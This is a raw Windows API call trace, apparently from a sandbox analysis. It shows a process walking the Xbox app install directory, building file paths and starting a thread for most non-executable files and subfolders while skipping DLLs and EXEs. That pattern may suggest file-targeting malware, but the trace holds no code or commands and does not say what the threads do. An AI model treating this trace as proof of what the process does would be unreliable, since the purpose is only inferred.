	[0089.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4925f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c
	[0089.995] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7354ad31, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x735bd44f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x735bd44f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite3.dll", cAlternateFileName="")) returned 1
	[0089.995] wcscmp (_String1="sqlite3.dll", _String2=".") returned 1
	[0089.995] wcscmp (_String1="sqlite3.dll", _String2="..") returned 1
	[0089.995] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735e6647, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x735f4896, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x735f4896, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0089.995] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0089.995] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0089.995] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735f4896, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x735f4896, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x735f4896, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0089.995] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0089.995] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0089.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e2d0
	[0089.995] wcscpy (in: _Dest=0x477e2d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.995] wcscat (in: _Dest=0x477e2d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.995] wcscat (in: _Dest=0x477e2d0, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0089.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2120
	[0089.996] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735f4896, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x735f4896, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x735f4896, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="Styles.xbf", cAlternateFileName="")) returned 1
	[0089.996] wcscmp (_String1="Styles.xbf", _String2=".") returned 1
	[0089.996] wcscmp (_String1="Styles.xbf", _String2="..") returned 1
	[0089.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d260
	[0089.996] wcscpy (in: _Dest=0x4f2d260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.996] wcscat (in: _Dest=0x4f2d260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.996] wcscat (in: _Dest=0x4f2d260, _Source="Styles.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Styles.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Styles.xbf"
	[0089.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2124
	[0089.996] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x735f4896, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb430e354, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x735f4896, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Toolkit", cAlternateFileName="")) returned 1
	[0089.997] wcscmp (_String1="Toolkit", _String2=".") returned 1
	[0089.997] wcscmp (_String1="Toolkit", _String2="..") returned 1
	[0089.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b950
	[0089.997] wcscpy (in: _Dest=0x481b950, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.997] wcscat (in: _Dest=0x481b950, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.997] wcscat (in: _Dest=0x481b950, _Source="Toolkit" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Toolkit") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Toolkit"
	[0089.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481b950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2128
	[0089.998] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7374aaed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb430f766, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7374aaed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsdkfb", cAlternateFileName="")) returned 1
	[0089.998] wcscmp (_String1="winsdkfb", _String2=".") returned 1
	[0089.998] wcscmp (_String1="winsdkfb", _String2="..") returned 1
	[0089.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2d1a0
	[0089.998] wcscpy (in: _Dest=0x4f2d1a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.998] wcscat (in: _Dest=0x4f2d1a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.998] wcscat (in: _Dest=0x4f2d1a0, _Source="winsdkfb" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\winsdkfb") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\winsdkfb"
	[0089.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2d1a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x212c
	[0089.999] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x736197eb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x736fe636, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x736fe636, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1931a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsdkfb.dll", cAlternateFileName="")) returned 1
	[0089.999] wcscmp (_String1="winsdkfb.dll", _String2=".") returned 1
	[0089.999] wcscmp (_String1="winsdkfb.dll", _String2="..") returned 1
	[0089.999] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73724894, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7374aaed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7374aaed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x93a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsdkfb.winmd", cAlternateFileName="")) returned 1
	[0089.999] wcscmp (_String1="winsdkfb.winmd", _String2=".") returned 1
	[0089.999] wcscmp (_String1="winsdkfb.winmd", _String2="..") returned 1
	[0089.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4924960
	[0089.999] wcscpy (in: _Dest=0x4924960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.999] wcscat (in: _Dest=0x4924960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.999] wcscat (in: _Dest=0x4924960, _Source="winsdkfb.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\winsdkfb.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\winsdkfb.winmd"
	[0089.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4924960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2130
	[0090.000] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7374aaed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74336768, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x74336768, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1eea200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.dll", cAlternateFileName="")) returned 1
	[0090.000] wcscmp (_String1="XboxApp.dll", _String2=".") returned 1
	[0090.000] wcscmp (_String1="XboxApp.dll", _String2="..") returned 1
	[0090.000] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74382c1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74382c1f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x74382c1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.exe", cAlternateFileName="")) returned 1
	[0090.000] wcscmp (_String1="XboxApp.exe", _String2=".") returned 1
	[0090.000] wcscmp (_String1="XboxApp.exe", _String2="..") returned 1
	[0090.000] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74382c1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb431012d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x743a8e78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.Model", cAlternateFileName="XBOXAP~1.MOD")) returned 1
	[0090.000] wcscmp (_String1="XboxApp.Model", _String2=".") returned 1
	[0090.000] wcscmp (_String1="XboxApp.Model", _String2="..") returned 1
	[0090.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0090.000] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.000] wcscat (in: _Dest=0x4924bb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.000] wcscat (in: _Dest=0x4924bb8, _Source="XboxApp.Model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Model") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Model"
	[0090.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4924bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2134
	[0090.001] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743f532f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4310576, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x743f532f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.Resource", cAlternateFileName="XBOXAP~1.RES")) returned 1
	[0090.001] wcscmp (_String1="XboxApp.Resource", _String2=".") returned 1
	[0090.001] wcscmp (_String1="XboxApp.Resource", _String2="..") returned 1
	[0090.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9910
	[0090.001] wcscpy (in: _Dest=0x47e9910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.001] wcscat (in: _Dest=0x47e9910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.001] wcscat (in: _Dest=0x47e9910, _Source="XboxApp.Resource" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Resource") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Resource"
	[0090.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2138
	[0090.002] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7441b589, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x744417e6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x744417e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.Tasks.winmd", cAlternateFileName="")) returned 1
	[0090.002] wcscmp (_String1="XboxApp.Tasks.winmd", _String2=".") returned 1
	[0090.002] wcscmp (_String1="XboxApp.Tasks.winmd", _String2="..") returned 1
	[0090.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8800
	[0090.002] wcscpy (in: _Dest=0x47e8800, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.002] wcscat (in: _Dest=0x47e8800, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.002] wcscat (in: _Dest=0x47e8800, _Source="XboxApp.Tasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Tasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Tasks.winmd"
	[0090.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x213c
	[0090.002] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744417e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4310977, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x744417e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.Telemetry", cAlternateFileName="XBOXAP~1.TEL")) returned 1
	[0090.002] wcscmp (_String1="XboxApp.Telemetry", _String2=".") returned 1
	[0090.002] wcscmp (_String1="XboxApp.Telemetry", _String2="..") returned 1
	[0090.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e88d0
	[0090.002] wcscpy (in: _Dest=0x47e88d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.002] wcscat (in: _Dest=0x47e88d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.002] wcscat (in: _Dest=0x47e88d0, _Source="XboxApp.Telemetry" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Telemetry") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.Telemetry"
	[0090.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140
	[0090.003] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74467a40, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4310d48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74467a40, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxApp.UI", cAlternateFileName="")) returned 1
	[0090.003] wcscmp (_String1="XboxApp.UI", _String2=".") returned 1
	[0090.003] wcscmp (_String1="XboxApp.UI", _String2="..") returned 1
	[0090.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2cba0
	[0090.003] wcscpy (in: _Dest=0x4f2cba0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.003] wcscat (in: _Dest=0x4f2cba0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.003] wcscat (in: _Dest=0x4f2cba0, _Source="XboxApp.UI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.UI") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxApp.UI"
	[0090.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2144
	[0090.004] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744da155, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x745e51cf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x745e51cf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxNano.dll", cAlternateFileName="")) returned 1
	[0090.004] wcscmp (_String1="XboxNano.dll", _String2=".") returned 1
	[0090.004] wcscmp (_String1="XboxNano.dll", _String2="..") returned 1
	[0090.004] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745e51cf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x745e51cf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x745e51cf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxNano.winmd", cAlternateFileName="")) returned 1
	[0090.004] wcscmp (_String1="XboxNano.winmd", _String2=".") returned 1
	[0090.004] wcscmp (_String1="XboxNano.winmd", _String2="..") returned 1
	[0090.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4924e10
	[0090.004] wcscpy (in: _Dest=0x4924e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0090.004] wcscat (in: _Dest=0x4924e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0090.004] wcscat (in: _Dest=0x4924e10, _Source="XboxNano.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxNano.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\XboxNano.winmd"
	[0090.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4924e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2148
